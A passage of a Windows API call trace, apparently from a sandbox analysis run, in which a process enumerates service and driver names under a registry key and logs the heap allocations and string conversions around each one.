lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0258.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0258.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0258.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0258.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0258.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0258.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0258.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0258.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0258.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0258.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0258.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0258.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0258.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0258.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0258.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0258.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0258.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0258.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0258.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0258.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0258.076] RegEnumKeyW 